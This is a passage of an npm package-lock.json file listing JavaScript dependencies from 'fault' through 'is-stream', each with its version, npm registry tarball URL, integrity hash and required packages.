"https://registry.npmjs.org/fault/-/fault-1.0.4.tgz", "integrity": "sha512-CJ0HCB5tL5fYTEA7ToAq5+kTwd++Borf1/bifxd9iT70QcXr4MRrO3Llf8Ifs70q+SJcGHFtnIE/Nw6giCtECA==", "requires": { "format": "^0.2.0" } }, "fd-slicer": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=", "dev": true, "requires": { "pend": "~1.2.0" } }, "figures": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/figures/-/figures-3.2.0.tgz", "integrity": "sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==", "requires": { "escape-string-regexp": "^1.0.5" } }, "file-entry-cache": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-2.0.0.tgz", "integrity": "sha1-w5KZDD5oR4PYOLjISkXYoEhFg2E=", "dev": true, "requires": { "flat-cache": "^1.2.1", "object-assign": "^4.0.1" } }, "fill-range": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", "dev": true, "requires": { "to-regex-range": "^5.0.1" } }, "find-root": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==", "dev": true }, "find-up": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", "requires": { "locate-path": "^2.0.0" } }, "flat-cache": { "version": "1.3.4", "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-1.3.4.tgz", "integrity": "sha512-VwyB3Lkgacfik2vhqR4uv2rvebqmDvFu4jlN/C1RzWoJEo8I7z4Q404oiqYCkq41mni8EzQnm95emU9seckwtg==", "dev": true, "requires": { "circular-json": "^0.3.1", "graceful-fs": "^4.1.2", "rimraf": "~2.6.2", "write": "^0.2.1" } }, "follow-redirects": { "version": "1.15.2", "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.2.tgz", "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA==" }, "forever-agent": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=", "dev": true }, "form-data": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", "dev": true, "requires": { "asynckit": "^0.4.0", "combined-stream": "^1.0.6", "mime-types": "^2.1.12" } }, "format": { "version": "0.2.2", "resolved": "https://registry.npmjs.org/format/-/format-0.2.2.tgz", "integrity": "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww==" }, "fs-extra": { "version": "9.1.0", "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", "dev": true, "requires": { "at-least-node": "^1.0.0", "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "fs.realpath": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=" }, "function-bind": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" }, "functional-red-black-tree": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", "dev": true }, "get-caller-file": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==" }, "get-intrinsic": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz", "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==", "dev": true, "requires": { "function-bind": "^1.1.1", "has": "^1.0.3", "has-proto": "^1.0.1", "has-symbols": "^1.0.3" } }, "get-pkg-repo": { "version": "4.2.1", "resolved": "https://registry.npmjs.org/get-pkg-repo/-/get-pkg-repo-4.2.1.tgz", "integrity": "sha512-2+QbHjFRfGB74v/pYWjd5OhU3TDIC2Gv/YKUTk/tCvAz0pkn/Mz6P3uByuBimLOcPvN2jYdScl3xGFSrx0jEcA==", "requires": { "@hutson/parse-repository-url": "^3.0.0", "hosted-git-info": "^4.0.0", "through2": "^2.0.0", "yargs": "^16.2.0" }, "dependencies": { "hosted-git-info": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz", "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==", "requires": { "lru-cache": "^6.0.0" } }, "readable-stream": { "version": "2.3.7", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", "isarray": "~1.0.0", "process-nextick-args": "~2.0.0", "safe-buffer": "~5.1.1", "string_decoder": "~1.1.1", "util-deprecate": "~1.0.1" } }, "safe-buffer": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" }, "string_decoder": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "requires": { "safe-buffer": "~5.1.0" } }, "through2": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", "requires": { "readable-stream": "~2.3.6", "xtend": "~4.0.1" } } } }, "get-stdin": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-6.0.0.tgz", "integrity": "sha512-jp4tHawyV7+fkkSKyvjuLZswblUtz+SQKzSWnBbii16BuZksJlU1wuBYXY75r+duh/llF1ur6oNwi+2ZzjKZ7g==", "dev": true }, "get-stream": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", "dev": true, "requires": { "pump": "^3.0.0" } }, "getos": { "version": "3.2.1", "resolved": "https://registry.npmjs.org/getos/-/getos-3.2.1.tgz", "integrity": "sha512-U56CfOK17OKgTVqozZjUKNdkfEv6jk5WISBJ8SHoagjE6L69zOwl3Z+O8myjY9MEW3i2HPWQBt/LTbCgcC973Q==", "dev": true, "requires": { "async": "^3.2.0" } }, "getpass": { "version": "0.1.7", "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", "dev": true, "requires": { "assert-plus": "^1.0.0" } }, "git-hooks-list": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/git-hooks-list/-/git-hooks-list-1.0.3.tgz", "integrity": "sha512-Y7wLWcrLUXwk2noSka166byGCvhMtDRpgHdzCno1UQv/n/Hegp++a2xBWJL1lJarnKD3SWaljD+0z1ztqxuKyQ==", "dev": true }, "git-raw-commits": { "version": "2.0.11", "resolved": "https://registry.npmjs.org/git-raw-commits/-/git-raw-commits-2.0.11.tgz", "integrity": "sha512-VnctFhw+xfj8Va1xtfEqCUD2XDrbAPSJx+hSrE5K7fGdjZruW7XV+QOrN7LF/RJyvspRiD2I0asWsxFp0ya26A==", "requires": { "dargs": "^7.0.0", "lodash": "^4.17.15", "meow": "^8.0.0", "split2": "^3.0.0", "through2": "^4.0.0" } }, "git-remote-origin-url": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/git-remote-origin-url/-/git-remote-origin-url-2.0.0.tgz", "integrity": "sha512-eU+GGrZgccNJcsDH5LkXR3PB9M958hxc7sbA8DFJjrv9j4L2P/eZfKhM+QD6wyzpiv+b1BpK0XrYCxkovtjSLw==", "requires": { "gitconfiglocal": "^1.0.0", "pify": "^2.3.0" } }, "git-semver-tags": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/git-semver-tags/-/git-semver-tags-4.1.1.tgz", "integrity": "sha512-OWyMt5zBe7xFs8vglMmhM9lRQzCWL3WjHtxNNfJTMngGym7pC1kh8sP6jevfydJ6LP3ZvGxfb6ABYgPUM0mtsA==", "requires": { "meow": "^8.0.0", "semver": "^6.0.0" }, "dependencies": { "semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" } } }, "gitconfiglocal": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/gitconfiglocal/-/gitconfiglocal-1.0.0.tgz", "integrity": "sha512-spLUXeTAVHxDtKsJc8FkFVgFtMdEN9qPGpL23VfSHx4fP4+Ds097IXLvymbnDH8FnmxX5Nr9bPw3A+AQ6mWEaQ==", "requires": { "ini": "^1.3.2" }, "dependencies": { "ini": { "version": "1.3.8", "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==" } } }, "glob": { "version": "7.1.6", "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", "requires": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.0.4", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } }, "glob-parent": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", "dev": true, "requires": { "is-glob": "^4.0.1" } }, "global-dirs": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-3.0.0.tgz", "integrity": "sha512-v8ho2DS5RiCjftj1nD9NmnfaOzTdud7RRnVd9kFNOjqZbISlx5DQ+OrTkywgd0dIt7oFCvKetZSHoHcP3sDdiA==", "dev": true, "requires": { "ini": "2.0.0" } }, "globals": { "version": "11.11.0", "resolved": "https://registry.npmjs.org/globals/-/globals-11.11.0.tgz", "integrity": "sha512-WHq43gS+6ufNOEqlrDBxVEbb8ntfXrfAUU2ZOpCxrBdGKW3gyv8mCxAfIBD0DroPKGrJ2eSsXsLtY9MPntsyTw==", "dev": true }, "globby": { "version": "10.0.0", "resolved": "https://registry.npmjs.org/globby/-/globby-10.0.0.tgz", "integrity": "sha512-3LifW9M4joGZasyYPz2A1U74zbC/45fvpXUvO/9KbSa+VV0aGZarWkfdgKyR9sExNP0t0x0ss/UMJpNpcaTspw==", "dev": true, "requires": { "@types/glob": "^7.1.1", "array-union": "^2.1.0", "dir-glob": "^3.0.1", "fast-glob": "^3.0.3", "glob": "^7.1.3", "ignore": "^5.1.1", "merge2": "^1.2.3", "slash": "^3.0.0" }, "dependencies": { "ignore": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", "dev": true } } }, "graceful-fs": { "version": "4.2.6", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.6.tgz", "integrity": "sha512-nTnJ528pbqxYanhpDYsi4Rd8MAeaBA67+RZ10CM1m3bTAVFEDcd5AuA4a6W5YkGZ1iNXHzZz8T6TBKLeBuNriQ==" }, "handlebars": { "version": "4.7.7", "resolved": "https://registry.npmjs.org/handlebars/-/handlebars-4.7.7.tgz", "integrity": "sha512-aAcXm5OAfE/8IXkcZvCepKU3VzW1/39Fb5ZuqMtgI/hT8X2YgoMvBY5dLhq/cpOvw7Lk1nK/UF71aLG/ZnVYRA==", "requires": { "minimist": "^1.2.5", "neo-async": "^2.6.0", "source-map": "^0.6.1", "uglify-js": "^3.1.4", "wordwrap": "^1.0.0" } }, "hard-rejection": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/hard-rejection/-/hard-rejection-2.1.0.tgz", "integrity": "sha512-VIZB+ibDhx7ObhAe7OVtoEbuP4h/MuOTHJ+J8h/eBXotJYl0fBgR72xDFCKgIh22OJZIOVNxBMWuhAr10r8HdA==" }, "has": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", "requires": { "function-bind": "^1.1.1" } }, "has-ansi": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", "dev": true, "requires": { "ansi-regex": "^2.0.0" } }, "has-flag": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=" }, "has-proto": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", "dev": true }, "has-symbols": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", "dev": true }, "hosted-git-info": { "version": "2.8.9", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==" }, "htmlparser2": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-7.2.0.tgz", "integrity": "sha512-H7MImA4MS6cw7nbyURtLPO1Tms7C5H602LRETv95z1MxO/7CP7rDVROehUYeYBUYEON94NXXDEPmZuq+hX4sog==", "requires": { "domelementtype": "^2.0.1", "domhandler": "^4.2.2", "domutils": "^2.8.0", "entities": "^3.0.1" } }, "human-signals": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-1.1.1.tgz", "integrity": "sha512-SEQu7vl8KjNL2eoGBLF3+wAjpsNfA9XMlXAYj/3EdaNfAlxKthD1xjEQfGOUhllCGGJVNY34bRr6lPINhNjyZw==", "dev": true }, "iconv-lite": { "version": "0.4.24", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", "requires": { "safer-buffer": ">= 2.1.2 < 3" } }, "ieee754": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" }, "ignore": { "version": "4.0.6", "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz", "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", "dev": true }, "imurmurhash": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", "dev": true }, "indent-string": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==" }, "inflight": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", "requires": { "once": "^1.3.0", "wrappy": "1" } }, "inherits": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" }, "ini": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ini/-/ini-2.0.0.tgz", "integrity": "sha512-7PnF4oN3CvZF23ADhA5wRaYEQpJ8qygSkbtTXWBeXWXmEVRXK+1ITciHWwHhsjv1TmW0MgacIv6hEi5pX5NQdA==", "dev": true }, "inquirer": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-5.2.0.tgz", "integrity": "sha512-E9BmnJbAKLPGonz0HeWHtbKf+EeSP93paWO3ZYoUpq/aowXvYGjjCSuashhXPpzbArIjBbji39THkxTz9ZeEUQ==", "dev": true, "requires": { "ansi-escapes": "^3.0.0", "chalk": "^2.0.0", "cli-cursor": "^2.1.0", "cli-width": "^2.0.0", "external-editor": "^2.1.0", "figures": "^2.0.0", "lodash": "^4.3.0", "mute-stream": "0.0.7", "run-async": "^2.2.0", "rxjs": "^5.5.2", "string-width": "^2.1.0", "strip-ansi": "^4.0.0", "through": "^2.3.6" }, "dependencies": { "ansi-regex": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.1.tgz", "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", "dev": true }, "cli-cursor": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-2.1.0.tgz", "integrity": "sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=", "dev": true, "requires": { "restore-cursor": "^2.0.0" } }, "figures": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/figures/-/figures-2.0.0.tgz", "integrity": "sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=", "dev": true, "requires": { "escape-string-regexp": "^1.0.5" } }, "is-fullwidth-code-point": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", "dev": true }, "onetime": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/onetime/-/onetime-2.0.1.tgz", "integrity": "sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=", "dev": true, "requires": { "mimic-fn": "^1.0.0" } }, "restore-cursor": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-2.0.0.tgz", "integrity": "sha1-n37ih/gv0ybU/RYpI9YhKe7g368=", "dev": true, "requires": { "onetime": "^2.0.0", "signal-exit": "^3.0.2" } }, "string-width": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", "dev": true, "requires": { "is-fullwidth-code-point": "^2.0.0", "strip-ansi": "^4.0.0" } }, "strip-ansi": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { "ansi-regex": "^3.0.0" } } } }, "is-alphabetical": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-1.0.4.tgz", "integrity": "sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg==" }, "is-alphanumerical": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz", "integrity": "sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A==", "requires": { "is-alphabetical": "^1.0.0", "is-decimal": "^1.0.0" } }, "is-arrayish": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=" }, "is-buffer": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==" }, "is-callable": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.1.4.tgz", "integrity": "sha512-r5p9sxJjYnArLjObpjA4xu5EKI3CuKHkJXMhT7kwbpUyIFD1n5PMAsoPvWnvtZiNz7LjkYDRZhd7FlI0eMijEA==", "dev": true }, "is-ci": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-3.0.0.tgz", "integrity": "sha512-kDXyttuLeslKAHYL/K28F2YkM3x5jvFPEw3yXbRptXydjD9rpLEz+C5K5iutY9ZiUu6AP41JdvRQwF4Iqs4ZCQ==", "dev": true, "requires": { "ci-info": "^3.1.1" } }, "is-core-module": { "version": "2.11.0", "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.11.0.tgz", "integrity": "sha512-RRjxlvLDkD1YJwDbroBHMb+cukurkDWNyHx7D3oNB5x9rb5ogcksMC5wHCadcXoo67gVr/+3GFySh3134zi6rw==", "requires": { "has": "^1.0.3" } }, "is-date-object": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.1.tgz", "integrity": "sha1-mqIOtq7rv/d/vTPnTKAbM1gdOhY=", "dev": true }, "is-decimal": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-1.0.4.tgz", "integrity": "sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw==" }, "is-extglob": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", "dev": true }, "is-fullwidth-code-point": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==" }, "is-glob": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", "dev": true, "requires": { "is-extglob": "^2.1.1" } }, "is-hexadecimal": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz", "integrity": "sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw==" }, "is-installed-globally": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/is-installed-globally/-/is-installed-globally-0.4.0.tgz", "integrity": "sha512-iwGqO3J21aaSkC7jWnHP/difazwS7SFeIqxv6wEtLU8Y5KlzFTjyqcSIT0d8s4+dDhKytsk9PJZ2BkS5eZwQRQ==", "dev": true, "requires": { "global-dirs": "^3.0.0", "is-path-inside": "^3.0.2" } }, "is-interactive": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz", "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==" }, "is-number": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", "dev": true }, "is-obj": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz", "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==" }, "is-path-inside": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", "dev": true }, "is-plain-obj": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==" }, "is-regex": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.0.4.tgz", "integrity": "sha1-VRdIm1RwkbCTDglWVM7SXul+lJE=", "dev": true, "requires": { "has": "^1.0.1" } }, "is-resolvable": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/is-resolvable/-/is-resolvable-1.1.0.tgz", "integrity": "sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg==", "dev": true }, "is-stream": { "version": "2.0.0", 